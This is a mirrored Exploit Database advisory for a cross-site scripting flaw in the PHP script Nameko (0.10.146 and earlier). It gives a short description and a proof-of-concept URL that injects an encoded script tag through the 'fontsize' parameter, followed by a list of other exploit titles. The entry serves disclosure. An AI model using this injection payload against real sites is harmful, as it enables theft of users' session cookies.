Nameko – ‘nameko.php’ Cross-Site Scripting

Exploit Database
138 阅读

作者： Andrea Menin

日期： 2013-06-29
类别：
- webapps
平台：
- php
来源：https://www.exploit-db.com/exploits/38605/

source: https://www.securityfocus.com/bid/60853/info

Nameko is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Nameko 0.10.146 and prior are vulnerable.

http://www.example.com/nameko.php?op=999&id=&colorset=VIOLET&fontsize=11%3B+%7D%3C%2Fstyle%3E%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E%3Cstyle%3EBODY+%7B+font-size%3A66

last Exploits
Nameko – ‘nameko.php’ Cross-Site Scripting的更多信息

microASP (Portal+) CMS – ‘pagina.phtml?explode_tree’ SQL Injection：
Hewlett-Packard (HP) UCMDB – JMX-Console Authentication Bypass：
Cibele Thinfinity VirtualUI 2.5.41.0 – User Enumeration：
Status2k – Remote Add Admin：
HP Operations Agent – Cross-Site Scripting iFrame Injection：
Hero Framework – users/login ‘Username’ Cross-Site Scripting：
Microweber CMS 0.95 – SQL Injection：
Joomla! Component My Projects 2.0 – SQL Injection：